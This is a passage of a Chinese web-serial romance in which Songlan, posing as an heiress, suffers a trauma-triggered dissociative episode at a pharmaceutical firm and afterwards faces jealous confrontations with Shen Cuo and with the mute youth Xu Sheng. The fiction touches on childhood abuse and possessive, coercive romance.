她知道周正安已经认出了她,但只要她一直不承认,一直揣着明白装糊涂。 那他就只能是她的表叔。 转眼到了第二天。 菘蓝吃完早饭就坐车离开了徐家。 她昨晚一夜没睡好,眼眶微微发青,苍白的小脸透着疲意。 约定见面的地点在宏基大厦,车程两个小时。 菘蓝在车上浅浅睡了一觉,醒来就看见了宏基大厦巍峨的地标雕塑。 与此同时。 沈园。 一个黑衣男子走到沈错面前,毕恭毕敬道:“少爷,少夫人清晨离开徐家,去见了一个人。” 沈错听闻,眉眼一沉:“她去见了谁?” “周正安。” 第五十二章 她的过去 周正安昨晚也一夜没睡好。 心里又激动又兴奋。 他本来想着,等处理好周家和叶家的关系,在海都站稳脚跟后,再去找菘蓝。 没想到这么快又能见面。 菘蓝穿了一条白色的裙子,外面罩着毛呢大衣,头发随意地披在脑后,有种简约的高级感。 周正安穿着剪裁合体的西服,静静站在地标附近,长身鹤立,气质卓然。 见到菘蓝,他克制住内心翻涌的情绪,神色从容地替她拉开车门:“走,我带你去科仁。” 周正安身上有一种成熟男人的韵味。 沉稳持重,泰山崩于前而不改色。 发乎情,止乎礼,藏于心。 纵使心海掀起滔天巨浪,脸上依旧镇定从容。 到了科仁医药后,周正安给她介绍了研发团队的核心成员,带她参观了医疗实验室,研发中心,并带她见了特效药剂的研发导师。 “徐小姐,我们这款药剂临床实验的效果不输与进口药,您可以看一下我们临床实验的记录。” 研发导师向菘蓝展示了具体的实验记录,这些信息本来都是绝密,不轻易向外人展示的。 菘蓝细细翻看临床实验记录,看到好几起患者康复的案例。 她紧紧捏着文件夹,一直揪着的心逐渐平复,眼底闪烁着看到希望的喜悦。 “徐小姐,如果你需要,我现在就可以给你安排,费用的话可以给您......” “给她免费。” 研发人员还没说话,周正安直接打断了他的话。 菘蓝听闻愣了愣,连忙摆着手道:“不,不用免费,我也是帮别人牵线。” 菘蓝下意识拒绝。 这种药剂很昂贵,一针就要五十多万,她担不起这么大的人情。 周正安摇了摇头:“不,只要是你认识的人,都是我的朋友,他可以免费在科仁订购任何药物。” 周正安抬眸,深深看向菘蓝。 如果他猜的没错,她徐家小姐的身份多半是假的。 她当年因为需要钱,代替叶小姐嫁给了他。 现在也可能是因为需要钱,才假扮了徐小姐。 那么,生病需要药物治疗的人,应该不是她现在这个身份的父亲的朋友,而是她自己的朋友或者亲人。 她的朋友就是他的朋友。 她的家人就是他的家人。 看着周正安似乎洞悉一切的眼神,菘蓝咬了咬唇,一时间不知道该说什么。 她垂着眸子,避开周正安的视线,刚想开口说话,突然看到临床实验名单上写着一个人的名字。 王学海。 名字的旁边,还配了一张肖像照,以及人物信息。 实验人员:王学海 性别:男 年龄:46岁 编号:0079 实验体所在地:怀州国安监狱 照片上的男人剃着光头,长着一张方脸,样貌斯斯文文,但是左脸却有一道贯穿至下颌的刀疤。 “嗡......” 菘蓝的大脑嗡得一声炸开,她的声音变了调,指着实验资料道:“这.....这人.....” 研发人员看了一眼人物信息,连忙解释道: “哦,我们临床实验的对象,有很多是监狱里关押的囚犯,有些符合实验条件的囚犯想立功,便会报名积极配合。” 菘蓝盯着照片,脸色瞬间发白,双手开始止不住地颤抖。 “怎么了?” 周正安发现菘蓝的异样,连忙关切地看着她。 菘蓝压下身体强烈的不适感,摇了摇头,神色平静道: “没....没什么,原来还有这种事啊,我都不知道你们临床的实验对象还有囚犯。” 研发人员推了推眼镜道:“嗯,这些外人可能不了解,但这是很正常的事情。” 菘蓝紧紧攥着手心,指尖深深陷进了肉里。 她的脑海回荡着立功,减刑,出狱..... 借着上洗手间的功夫,菘蓝拿出手机,登上了很久不用的微信号。 她打开微信,一条条翻阅,然后看到了一条消息。 “小蓝,那个人减刑出狱了,你最好小心一点,不要跟任何人透露你的地址,我担心那老家伙会去报复你。” 消息发送的日期是去年九月。 菘蓝盯着手机,眸色漆黑,她神情恍惚,灵魂似乎被记忆拉回了过去。 她,是一个没有名字的孤儿。 从小在蓝天幼儿园长大。 七岁的时候,被一对夫妻领养。 她的养父是一名小学老师,养母是个普通的家庭妇女。 他们只是听人说,生不出儿子就去领养个女儿,女儿能招来儿子。 于是,他们就领养了她。 不知道是不是巧合,她刚被领养了两个月,养母就怀孕了。 一年后,养母生下一个儿子。 养母有了儿子后,就觉得她很碍眼。 七岁的她,虽然年龄小,但已经懂得察言观色。 知道养母嫌弃她,她就努力减少自己的存在感。 她吃很少很少的饭,干很多很多的活,但是每天都要挨很多很多打。 有一次她被养母打得遍体鳞伤,养父捧着她的脸道: “别打了,她的脸这么漂亮,打坏了就不好看了。” 她的养父叫王学海,是一名小学老师,表面上一本正经,其实一头披着人皮的狼。 他经常借着给学生辅导功课的名义,对很多女学生动手动脚,甚至搞大了女学生的肚子。 她始终记得那一天。 她从卫生间门缝里看到的那双闪烁着贪婪、黏腻、邪恶的眼睛。 漫长、冰冷、漆黑的回忆涌上心头,菘蓝突然一阵反胃。 她的身体不受控地弓成虾米,胃部好像被一双无形的手紧紧攥住,反复撕扯蹂躏。 痛到钻心! 胃是情绪器官,受植物神经支配,不受意识控制。 悲伤抑郁的时候,胃会一抽一抽的痛。 情绪崩溃的时候,胃里就像灌满了锋利的玻璃碎片。 玻璃碎片相互挤压摩擦,在身体里活生生地刮出一刀刀口子。 “呵.....呵.....” 菘蓝忍着身体跳动的疼痛,冲着镜子自嘲地笑了笑。 原来,真正的伤痛根本不会被时间抹除。 它会长成肉刺埋进身体里,不管事情过去了多久,它都会在某个瞬间跳出来,把你好不容易养好的血肉,拼凑起来的生活,砍得面目全非。 第五十三章 她有病 菘蓝去洗手间的时间有点久。 研发休息室里,周正安看了看手腕上的表,微微蹙了蹙眉。 已经快一个小时了。 周正安让女员工去找菘蓝,他担心她遇到了什么问题。 过了一会,女员工回来了,回复道:“老板,徐小姐没在洗手间。” 周正安有些诧异,“啊?没在?” 公司没有人看到菘蓝出去。 周正安想着,她应该还在这里,她就算要走,走之前肯定也会打声招呼。 “去找找。” ........ 天台,顶楼。 菘蓝坐在高高的围栏上,脚下是川流不息的街道。 风把她的裙角吹得高高的,像一捧随时坍塌的云。 她仰头看着近在咫尺的天空,白皙娇俏的小脸被天光照得几乎透明。 她意识抽离,双眼无神地盯着天空,眸光涣散,脸上没有半点情绪。 像一个没有灵魂的漂亮木偶。 周正安听说菘蓝在天台,连忙带着一帮人赶了过来。 看到菘蓝坐在天台的边缘,周正安呼吸一滞,心脏骤然缩紧。 太危险了。 她稍微往前挪一挪,就可能会从楼顶掉下去。 周正安虽然不知道现在是什么情况,但他第一时间做出了应对反应。 在不惊动菘蓝的情况下,他命人在楼底支起了救生垫和缓冲网。 做好安全措施,周正安才敢走上天台,他看着菘蓝,小心翼翼道: “你在那里坐着干嘛?那里很危险。” 菘蓝缓缓偏了偏头,抬眸看向他,眼底只有冰冷的陌生感。 周正安这才发现她眼神空洞,像是没有一丝光亮的夜空。 黑的令人心悸。 周正安心头狠狠一震,他发现菘蓝的样子很不对劲。 “你,怎么了?” 菘蓝不说话,依旧只是歪着脑袋看着他,悬空的双腿轻轻晃了两下。 她的动作顿时吓得周正安头皮发麻。 “你别乱动啊,很危险的.....” 周正安声音发颤,带着一丝不易察觉的乞求。 菘蓝此时的模样,像极了站在悬崖边上的轻生者。 无欲无求,无悲无喜。 她看着周正安好像很关心她的样子,顿时来了兴趣,好奇地问道:“你是谁?” 周正安眉峰深深一压,眼底闪过一丝诧异。 不对劲。 太不对劲了。 他发现菘蓝眼中的陌生和疏离感不是装出来的。 她好像是真的不记得他了。 “我喜欢坐在高高的地方,因为离云朵很近,天上的云朵好像棉花糖,我还没有吃过棉花糖呢。” 菘蓝晃悠着白皙的小腿,语气脆生生的,说话的神态像极了小女孩。 她双手撑着围栏,悬空的小腿晃啊晃。 一副天真无邪的模样。 周正安紧紧盯着菘蓝,他夹着嗓子,像哄劝小朋友一样,轻声哄道: “那你从栏杆上下来,我带你去吃棉花糖好不好?” 菘蓝歪着脑袋,用渴望的眼神看着周正安,然后又犹豫了一会道: “可是,爷爷不让我吃陌生人的东西。” 周正安虚虚握了握手心,用温柔的目光看着她道: “没有啊,我们以前认识的,还一起吃过饭,我知道你特别喜欢桂花红糖还有酒酿小丸子。” 菘蓝睁着懵懂的大眼睛,惊讶道:“欸?你怎么知道?” 周正安喉结不自觉滑动了两下。 他怎么可能不知道。 青州的桂花最香甜,她最爱往他的茶饮里放桂花。 周正安看着菘蓝,笑了笑道:“你现在相信我们以前认识了吗?” 菘蓝轻轻点了点头,脆生生道:“唔.....好吧,暂时相信你一下。” “那你先别动,等我过去。” 周正安紧张地滚了滚喉咙,然后像捉蝴蝶一样,屏住呼吸,小心翼翼地靠近菘蓝。 他生怕一个不小心,会惊动了蝴蝶。 好在蝴蝶真的乖乖停在了那里,周正安伸出手,结结实实地拽住了菘蓝的胳膊。 他松了一口气,轻轻地把人抱了下来。 菘蓝的异样也引起了科仁医药研发员的注意。 研发员:“老板,徐小姐的精神好像有点问题,需不需要我们给她做个检查?” 周正安看着怀里宛如孩童模样的菘蓝,点了点头。 “好!” 时至今日,他才发现她身上有这么多的谜团。 这些情况,是他以往没有见过的。 他,想要了解她更多。 研发员有些犹豫道:“可是,我们真的不需要征求她家人的同意吗?” 周正安抿了抿唇,目光笃定道:“我就是她的家人。” ** 棉花糖买来了,像一坨粉红色的云,散发着甜甜的草莓香气。 周正安把棉花糖递给菘蓝:“喏,没骗你吧。” 菘蓝看到棉花糖,澄澈的双眸闪闪发光,她迫不及待地接过棉花糖,咬了一大口。 绵软的甜意像雾一样萦绕在舌尖,菘蓝吃得很香甜,也很满足。 看到她这个样子,周正安心底泛起一丝痛意。 她以前,到底过得是什么样的生活? 她又是遇到了什么,突然变成了现在这个样子。 ** 吃完棉花糖,菘蓝被带进了检查室。 周正安担心她害怕,一直牵着她的手,像哄小朋友一样,轻柔地拍着她的背。 菘蓝看到穿白大褂的医生,呼吸突然急促了起来。 她紧锁着眉头,如临大敌一般瞪着眼睛,抗拒地甩开周正安的手,“我不要在这里,我要出去!” 说完,菘蓝朝着门口冲了出去。 周正安及时拽住了菘蓝的手臂,声音轻柔道:“不要害怕,我们不会伤害你,只是给你做个检查。” “不要!我不要!” 菘蓝捂着耳朵,害怕地看了一眼穿白大褂的医生,连忙转过头去。 她像一只受惊的幼鹿,瞳孔里写满了恐慌。 周正安注意到了这个细节,他打了个手势,让医生出去把身上的白大褂脱掉。 这一招果然管用。 菘蓝不再害怕了,还会主动跟穿着便服的医生互动。 看到这一幕,周正安朝医生点了点头,然后安心退出了房间,在走廊里等着。 时间一分一秒地过去。 就在周正安等得有些着急的时候,房间里的菘蓝突然发出一声凄厉的惨叫。 第五十四章 认知障碍 “啊!” 检查室内,响起一声撕心裂肺的尖叫。 周正安听到菘蓝的惨叫声,心头一紧,立马踹开门冲了进去,大喊了一声:“徐幼蓝!” 房间里弥漫着一股淡淡的血腥味。 周正安眉心猛地一跳,慌慌张张地寻找菘蓝的身影。 他看到药柜旁边有一个纸箱子,箱子的顶部没有完全合拢,露出一抹雪白的裙摆。 箱子轻微颤动,发出沙沙的声响,箱子附近的地板上洒着点点血迹。 周正安目光一凛,瞪向房间里的医生,“她怎么受伤了?” “没事,没事,徐小姐她没事.....” 医生慌忙解释,他一脸痛苦地捂着手臂,疼得龇牙咧嘴道: “徐小姐没受伤,受伤的人是我.....” 说完,医生缓缓放开了遮掩的左手。 周正安目光微微一顿,看到他右手的手臂上插着一支笔,鲜血顺着笔杆缓缓淌到了地上。 知道菘蓝没事,周正安微微松了口气。 他又看了看那只瑟瑟发抖的箱子,疑惑地看向医生:“怎么回事?到底发生了什么?” 医生捂着手臂,深深看了纸箱一眼,压低了声音道:“我们出去说。” ......... 隔壁办公室。 包扎好伤口的医生抹了把冷汗,一脸后怕道:“还好我刚刚躲得快,不然小命都要交待了。” 周正安微微抬手,看了一眼身后的助理。 助理点了点头,给受伤的医生递上了一张支票:“辛苦了,这是医药费。” 医生看到支票上长长的一串零,心里狠狠震撼了一把。 这一刀没白挨啊! “现在可以告诉我,发生了什么吗?” 周正安端正地坐在椅子上,他面容沉静如水,周身散发着上位者的沉稳气势。 医生点点头,连忙解释道: “是这样的,徐小姐精神恍惚,行为反常,我便给她做了脑部CT和核磁共振。 一开始,徐小姐很配合,没有表现出过激反应。 可是后来,我给她做心理测评的时候,发现她的自身认知出现了障碍。” 周正安听得眉头紧皱:“什么认知障碍?” 医生:“您应该也发现了,徐小姐现在的言行举止完全不像是一个成年人。 其实,她自己也是这么认为的。 在简单的沟通和测试后,我发现徐小姐现在的心理年龄只有五六岁。 除此之外,她的时间感知也出了问题。 她没有时间概念,甚至没办法区分白天和黑夜。 我推测,徐小姐今天应该是受到了某种刺激,引发某种心理创伤,导致出现应激反应。 当然,我掌握的信息还不全面,这些只是初步判断。 徐小姐特别抗拒交流,我只是问她今天遇到了什么不开心的事,她就突然发狂,拒绝我靠近,用笔刺伤了我。” 听完医生的话,周正安愣住了。 受到刺激,导致应激反应? 怎么会这样? 周正安蹙着眉,细细将今天发生的事都回想了一遍,也没想到有什么特殊的事情。 医生咽了咽口水:“徐小姐抗拒交流,我没法再继续检查下去,除非......” 周正安:“除非什么?” 医生:“除非对她进行催眠。” 周正安仅思考了几秒,便果断道:“好!” 他平时很难见到菘蓝,如果错过了这次,可能就失去了了解她的机会。 他也想知道,到底是什么事情让她变成了这样。 他更想知道,她是谁,以及她的过去。 两人回到检查室。 菘蓝依旧躲在箱子里不肯出来。 她像一只受到惊吓的小猫,无论外面的人怎么哄诱,都不肯探出脑袋。 无奈,周正安只好强硬地打开了箱子。 打开箱子的瞬间,他愣住了。 菘蓝像小孩一样蜷缩在纸箱里,她睫毛湿漉漉,眼眶红红的,苍白的小脸上满是泪痕。 模样十分让人心疼。 周正安的心也随之揪起,他缓缓伸出手,温声安抚道:“别害怕,我不会伤害你。” 他的声音低醇平缓,温柔至极,很有亲和力。 菘蓝不再害怕,眨巴着湿漉漉的睫毛,用澄澈的眼睛看着他。 看到她情绪稳定了,周正安把她从纸箱里抱了出来,小心翼翼地圈在怀里。 医生放了首舒缓的音乐,然后掏出一块催眠用的特制怀表。 菘蓝像个孩子一样好奇地盯着怀表,澄澈圆润的眼睛眨啊眨。 在医生的催眠引导下,不一会,她的目光开始涣散,失去焦点。 医生看着她,问出了第一个问题: “你是谁?” 菘蓝听完,呆呆地摇了摇头:“不知道诶。” 她确实不知道她是谁。 因为她五岁的时候,还没有名字。 医生和周正安同时皱了皱眉。 就算她现在的心智只有五六岁,那也应该知道自己叫什么,家在哪里,父母是谁。 医生顿了顿,又问了第二个问题:“你今天来这里,有遇到什么不开心的事吗?” 菘蓝沉默半晌,摇了摇头。 周正安眸光微动,想了想道:“你去洗手间的路上遇到谁了吗?或者接了什么电话?” 听到这个问题,菘蓝漆黑的瞳孔猛然一缩。 无数的记忆碎片在脑海里炸开。 她的脸色瞬间苍白,额头布满冷汗,身体不受控制地抖了起来。 狰狞的笑容,浸满血的绳子,漆黑的、冰冷的、窒息的房子...... “啊啊啊!!!” 菘蓝情绪突然失控,她睁着涣散的眸子,声嘶力竭地在周正安怀里拍打,挣扎,撕咬。 “走开!走开!放开我!” 周正安被菘蓝发疯的样子吓了一跳,他手忙脚乱地按住她的身体。 结果菘蓝的挣扎越来越激烈。 她像被人捉住的小动物,满脸的惊慌和委屈,红着眼睛拼命挣扎,想要逃回森林。 就在这时,检查室的门突然被人一脚踹开。 “砰!” 沈错沉着脸站在门口,他缓缓抬起眼帘,看清屋里的情况后,漆黑的眸底掀起了风暴。 他全身的血液涌向头顶,从冰冷的齿缝中杀气腾腾地挤出一句话: “周正安,你在干什么!” 第五十五章 现任暴揍前任 大家还没反应过来,满身戾气的沈错就已经冲进屋子,揪住了周正安的衣领。 他速度太快了,快到几乎没有人看清。 “砰!” 他挥出拳头,狠狠砸在了周正安的唇角。 周正安猝不及防地挨了一拳,踉跄着后退了几步。 沈错一把将他怀里的菘蓝拽到身后,然后抬腿,冲着周正安的心窝猛踹了过去。 他起了杀心。 这一脚下去,周正安不死也要断几根肋骨。 好在周正安的保镖及时赶到,帮他挡了一下,然而下一秒,保镖一阵天旋地转,轻轻松松被沈错撂倒了。 论战斗力,没几个人是沈错的对手。 他干脆利落地解决掉保镖后,杀气腾腾地看向周正安,咬着牙一字一顿道: “表叔,我不爽你很久了。” 他派人去查过周正安,周正安从小到大接触过的人,做过的事,他都调查的清清楚楚。 但是,唯独周正安养伤的那一年,所有生活痕迹都被抹得干干净净。 越查不出东西,就越有猫腻。 “表叔,我好奇一件事,你三年前,是不是就认识我老婆啊.....” 沈错语气很淡,但每个字都散发着寒意,仿佛是从冰层中一个个凿出来的。 周正安抬手抹去嘴角的血迹,眸色深沉地看着沈错。 嗯,他不仅认识,还跟她结了婚,拜了堂。 他们朝夕相处,成双入对,每一天都过得幸福快乐。 这些话,只在周正安脑海里过了一遍,他并没有打算说出来。 虽然他很想刺激一下沈错,但这个时候激怒他,不是一个明智的选择。 周正安看了一眼神色游离的菘蓝,心底叹息了一声。 她可能也不希望这件事曝光。 两人僵持间,沈错身后的菘蓝动了动。 她涣散的双眸重新聚焦,目光最终落到了跌坐在地上的周正安身上。 周正安名贵的西装领带上都是血,嘴角还残留着没抹干净的血渍。 刚刚发生了什么? 沈错又是什么时候来的? 菘蓝轻咬了一下唇,她最近记忆断片的频率越来越高了。 “表叔,你是哑巴了吗?怎么不会说话了?需要我帮忙吗?” 沈错见周正安一直不说话,便卷起袖子,拎着拳头走了过去。 “沈错,你要干嘛!” 菘蓝微哑的声音在他身后响起。 沈错脚步一顿,垂眸看向拽着自己衣角的手。 他拧了拧眉,眼底闪过一抹恼意,“别拦着我,我现在很生气。” 周正安听到菘蓝的声音,连忙抬头,看到她神色平静,心头顿时一喜,“你没事了?” 沈错听闻,立刻接了一句:“她有什么事?” 一旁,被吓呆的医生终于反应了过来,他急急忙忙冲到中间,挥着手解释道: “不是不是,你误会了,误会了,我们没想对徐小姐做什么,只是在给她做检查。” 沈错凝眸:“什么意思?做什么检查?” 医生顿了顿,张口道:“徐小姐精神受......” “是梦游,我刚刚梦游了,害得大家都在担心,我现在没事了。” 菘蓝直接打断了医生的话。 医生微微愣了一下,刚想张口反驳,就看到周正安也别有深意地看着他。 他立马改口:“额.....对对对,徐小姐刚刚梦游把我们吓了一大跳,我们试着帮助她,结果让她受惊了。” 菘蓝看着沈错: “嗯,是这样的,如果你不信,可以调监控,我刚刚趴在洗手台睡着了,后面的事情我都不记得了......” 沈错微眯着眸子,目光闪了闪:“好,那就调监控。” 很快,监控录像调出来了。 画面显示,菘蓝从洗手间出来之后,整个人就开始不对劲。 她睁着眼睛,双眸无神,像游魂一样在走廊里徘徊。 徘徊了十分钟后,她独自去了天台。 “事情就是这样,我小的时候就经常梦游,最近可能没休息好,所以才会出现这样的状况。” 菘蓝垂着眸子,柔柔地冲着周正安说了一声抱歉:“不好意思,给表叔添麻烦了。” 周正安喉结微微滚动了两下,然后回道: “没事,怪我,我不该约你这么早出来,你可以转告徐伯伯的朋友,他需要的药物,科仁这边会立刻准备。” 两人很默契地避开眼神,心照不宣地糊弄沈错。 沈错抿着唇,眸色幽深,他抬手抹去菘蓝眼尾残留的泪痕,声音温柔道: “他们这些庸医对你太粗暴了,把你吓到了吧,走吧,跟我回家。” 说完,沈错以占有欲的姿态把菘蓝圈进怀里,紧紧箍着她的腰,他像是惩罚一样,指腹故意剐蹭她的腰窝。 菘蓝不适地扭了扭身子。 “别动,回去动给我看.....” 沈错拖长着尾音,亲昵地捏了捏菘蓝的小脸,然后目光挑衅地看了眼周正安。 周正安仿佛没有听到,抬手擦了擦身上的血迹,神色沉静如水。 只是他微微颤动的指尖,暴露了他快要压制不住的情绪。 他在内心告诫自己要等,要忍,要谋定而后动。 沈错带着菘蓝上了车。 刚关好车门,菘蓝就被压在了座椅上。 沈错将菘蓝的手固定住,像惩罚一样使劲嘬她的耳垂。 她的耳垂软软的,嘬起来口感很好。 “你.....你别这样,我的耳朵很痛.....” 菘蓝扭动着身子,声音微微沙哑,她像是在控诉又像是在哀求。 沈错眉眼暗沉,用牙轻轻咬了一下她的耳垂,笑着看向她道: “老婆,你现在可以给我解释一下,你跟周正安之间的关系吗?” 菘蓝身体一僵,随后冷静地看着沈错道: “我和他之间没有别的关系啊,他是你的表叔,我是你的老婆,仅此而已。” “哦~” 沈错扬唇笑了笑,随后语气瞬间变得冷硬:“真是这样吗?” 菘蓝点点头:“就是这样啊,不然捏?” 沈错眯着眼,伸手挑起菘蓝的下巴,目光灼灼地看着她道: “别骗我了,你三年前,跟周正安在一起,对不对?” 第五十六章 他的唇语 菘蓝瞳孔微微一缩,心底掀起惊涛骇浪。 他知道了? 仅仅愣神了几秒,菘蓝立刻反应了过来。 沈错在诈她! 按照沈错的性格,如果他真的调查出了当年的事,就不会问她是不是跟周正安在一起过了。 三年前,他们何止在一起啊,还结了婚,拜了堂,住一个房间呢。 沈错如果真的知道了这些,她怎么可能还全须全尾的活着。 迅速理好思绪,菘蓝抬眸,脸上挂着一丝薄怒,红着眼骂道: “你神经病啊!干嘛非要把我跟周正安扯在一起。 我从来没去过青州,又怎么认识他,你是得了失心疯了吗?张口就乱咬!” 她好像真得占理一样,骂的气势如虹,酣畅淋漓。 看到菘蓝是这幅反应,沈错愣了一下。 趁着他愣神的功夫,菘蓝奋起反击,继续输出: “这日子,你要是想过就过,不想过就算了。” 菘蓝的眼泪说来就来,她哑着嗓子,每个字都带着微微的哭腔。 “呜......” 她背过身,趴在车座上,像小兽一样低低地呜咽着。 看到她哭,沈错的心瞬间软的一塌糊涂,把所有的理智、算计、套路都抛到了九霄云外。 他抱着菘蓝,温柔地帮她擦拭眼角的泪珠,哄劝道: “别哭,别哭,我只是以为你们以前认识,我也没有别的意思。” 察觉到沈错放缓了声音,不再步步紧逼,菘蓝垂着眸子,眼底闪过一抹得逞的笑意。 她吸了吸鼻子,撒气一样给了沈错一拳,抬起红红的眼睛,一边哭一边吼道: “沈错,我也不是非要当你们沈家的少夫人。 你要是想逼我离婚,那就离!” 沈错听闻气笑了,他伸手捏住菘蓝的小脸,没好气道: “什么跟什么?谁说我不要跟你过了?我什么时候逼你离婚了?” 他这辈子就缠上她了。 他找了她整整三年,好不容易找到她了,还娶了她,这已经是他花光所有运气才碰上的好事。 他怎么可能不跟她过了。 菘蓝哼了一声,背着身子,委委屈屈道: “离了也好,好让你外面的进来,我可以成人之美。” 沈错:“........” 沈错无语地揉了揉眉心,“你这都什么跟什么,什么里面的外面的,我心里只有你一个。” 听闻,菘蓝在心底翻了个白眼。 骗子。 真当她不知道,他外面还有个没娶进门的心上人。 别看他这么在意她跟周正安之间的关系。 他可不是吃醋,他只是在意她给他戴绿帽子。 男人嘛,不管自己爱不爱老婆,都不会允许老婆爱上别的男人。 “好了,好了,别哭了,你一哭,我心里就疼。” 沈错像揉小猫一样,揉了揉菘蓝的脑袋,满眼的疼惜。 菘蓝内心腹诽。 那她掉了这么多眼泪,哭了这么多次,怎么也没见某人疼死。 男人的嘴,骗人的鬼。 车子缓缓停下,菘蓝往外看了一眼,瞬间缩回了头,她拽住沈错的衣袖,质问道: “你怎么把我带到沈园来了?” 沈错动了动唇,似笑非笑地看着菘蓝: “我当然要带你回来,如果还放任你在外面,说不定你就梦游到别的男人家里了。 到时候你成了别人的老婆,我哭都没地方哭。” 菘蓝睫毛颤了颤,紧紧攥着衣角,指尖捏得泛白。 不行,许夫人和许生还在沈园,她不能回去。 许生那个小哑巴还好,单纯好糊弄。 许夫人可不是个省油的灯,许夫人要是看到她,绝对会刨根问底,不会轻易放过她。 “不,我要回去陪我爸,我爸还病着。” 菘蓝抗拒地推开沈错,双手扒拉着窗沿,拒绝下车。 “我已经找医生看过舅舅了,他没什么事,只是神经衰弱,睡眠不足,偶尔的感冒发烧很快就好。” 沈错微笑着,把菘蓝扒在窗沿上的手指一根根掰掉。 菘蓝拼命摇头:“不要!你送我回去!我跟爸爸说好了,中午一起吃饭的。” 沈错的大手摁住菘蓝的身子,嘴角露出一抹偏执的笑容: “没事,你不用回去了,我现在打电话给舅舅,让他自己一个人吃饭,舅舅那么大的人了,要自立自强。” 菘蓝:“.........” 她算是看明白了,徐家她是回不去了。 可是,沈家她也去不得啊! “你不会还在害羞吧?还是不好意思见我干妈?” 沈错挑起菘蓝的下巴,漂亮的眸子闪过一丝促狭的笑意。 菘蓝看到有台阶,立马借坡下驴。 她低下头,扭捏着身子,一脸娇羞道:“我....嗯....还好,但还是有点不好意思。” 沈错修长的指尖轻轻剐蹭菘蓝的小脸,他压低了声音,在她耳畔吐息道: “老婆,脸皮要厚一点的,脸皮厚一点的人,才能享受世界。” 菘蓝耳根子红了。 不是害羞,是被沈错吹红的。 她耳朵很敏感。 看着菘蓝红到几乎滴血的耳垂,沈错舔了舔唇,然后正色道: “好了,不逗你了,干妈已经没在沈园了,她有事去奉安了。” 听到这,菘蓝心里暗暗松了口气。 还好还好,老天爷还是给她留了路。 下车后,两人回了水云居。 沈错在楼下喝茶,菘蓝上楼换衣服。 她的换衣间在卧室的隔壁,有一道小门,可以直接过去。 菘蓝推开换衣间门,身后突然蹿出一道黑影。 还没等她尖叫,就被人捂住嘴,抵在了换衣间的门上。 看清人影后,菘蓝愣怔了一下,瞳孔闪烁着不可思议的光。 许生? 小哑巴比菘蓝高了两个头,他俯着身子,居高临下地看着菘蓝。 菘蓝拧了拧眉,挣扎地扭动着身子:“你怎么在这里?快放开我,你哥在楼下!” 许生垂着眸子,瞳仁翻涌着难以言喻的情绪,他不理会菘蓝,低头一口咬住她的锁骨。 他温热的唇瓣蠕动了两下。 菘蓝身体僵住。 她的身体读懂了许生的唇语。 他说: 【姐姐,DNA检测报告,你的,我有。】 第五十七章 扒马甲 菘蓝惊讶地睁圆了眼睛,错愕地看着许生。 哈?DNA鉴定报告? 许生眸光闪了两下,然后低着头,缓缓从裤兜摸出一个精致的口红和一个小熊造型的润唇膏。 【对不起,姐姐,我偷的。】 菘蓝记得那个小熊造型的润唇膏,是她一年前在云都集市抽盲盒中的。 是很好闻的柑橘味,她当时很喜欢,总随身携带着,用了一大半之后,突然找不着了。 在菘蓝的注视下,许生又陆陆续续从裤兜里掏出一些小玩意。 发夹、头绳、手链、指甲刀...... 菘蓝看了一眼,差点气笑了,怪不得她当时总是丢东西,原来是身边有个捡破烂的小偷。 许生又打开手机,调出了一份电子版的DNA检测报告。 菘蓝移开目光,没有去看。 不用看她也知道结果。 好小子,做事够绝。 这下她辨无可辨。 许生抬眸看着菘蓝,眉骨拢着浅浅的光影,眼睛澄澈的像雪后初晴的天空。 他调整了一下助听器,等待着菘蓝的回应。 菘蓝垂着眉眼,靠在门板上,低头不语。 人家都查到这个地步了,她还能有什么话说。 夕阳透过缝隙照进了换衣间,整个房间镀上了一层金光,菘蓝沉默地看着地板,她白皙的小脸被阳光照得泛红,像涂了一层胭脂。 沉默就代表默认。 默认对他的视而不见听而不闻,默认对他的伪装,默认对他的欺骗。 斑驳的光影中,许生抿着唇角,握住菘蓝垂在身侧的手,在她白嫩的掌心写了一句话: 【姐姐,你骗我,又一次了。】 菘蓝睫毛颤了颤,眼底掠过一抹愧疚和欠意。 如果她有选择,她也不想的..... “对.....不.....” 对不起三个字还未说出,许生就伸手覆住了她的唇。 少年的短发轻轻摇曳,认真地比划着手势道: 【姐姐不用说对不起,永远跟我。】 他用混乱的语序,笨拙地表达内心最真挚最纯粹的想法。 菘蓝垂着眼眸,抿了抿唇。 柔嫩的唇瓣在少年的掌心摩擦,许生感觉到一丝痒意,他不好意思地收回了手。 “你要是没什么事,就快走吧,你留在这里,我等会说不清。” 菘蓝下了逐客令。 许生眨巴着无辜的狗狗眼,懵懵地看着菘蓝,比划道: 【姐姐,我好想你,我还要看你。】 分别的这半年,是他最难捱的日子。 思念就像疯狂的野草长满了整个胸腔。 他每时每刻,每分每秒都在想着她。 一开始,她突然出现在他面前的时候,他整颗心都激动地跳了出来。 结果姐姐却装作不认识他。 他跟姐姐表白,结果姐姐说他耍流氓,还报了警。 他好难受好难受。 现在好不容易坦诚相见了,姐姐却立马赶他走。 他想跟姐姐好好说说话都不行。 许生眼眶红红的,微圆的眸子蓄满了雾气,看上去可怜巴巴的。 像一只没人要的小狗。 看到少年眼泪汪汪的样子,菘蓝瞬间感觉自己是什么十恶不赦的大坏蛋。 嗯,不过她也确实不是什么好人。 菘蓝受不了了,别开眼睛:“好了,好了,你不要这样看着我。” 许生眨巴着湿漉漉的睫毛,黑色的微分碎发乖巧地垂在额前,一脸的单纯无害。 他双手比划着手势: 【姐姐,你留在这里,是不是任务。】 菘蓝犹豫了一下,点了点头。 许生知道她很多事情,告诉他也没关系。 看到菘蓝点头,许生嘴角挂起浅浅的笑意。 他心里瞬间释然了。 之前看到她和沈错在一起吃饭时的不快,瞬间烟消云散。 他知道的,姐姐是在逢场作戏。 许生很乖很乖地点了点头,比划道: 【姐姐任务做完,跟我在一起,以前就约好的。】 少年坦荡的眼神饱含着最纯粹的爱意,烫得菘蓝心头一颤。 她突然不知道该怎么回答。 “我.....我.....这件事以后再说吧.....” 菘蓝眼神飘忽,手不自觉地将头发撩到耳侧。 人在心虚的时候,总会做各种小动作。 突然。 许生的目光落在了菘蓝的耳垂上。 她白皙的耳垂红肿透亮,上面还留有浅浅的牙印。 像是被吮吸了很久。 菘蓝注意到许生盯着她的耳垂,这才觉得耳垂传来一丝火辣辣的痛意。 她下意识伸手捂住耳朵。 嘶,沈错那狗男人在车里嘬的太狠了。 不用想,她都知道她的耳垂现在肿成了什么样。 菘蓝微微低头,抬手放下耳畔的头发,迅速将耳朵遮住。 她没有注意到,许生那双单纯无辜的眸子,迅速升起一抹浓烈的怒意。 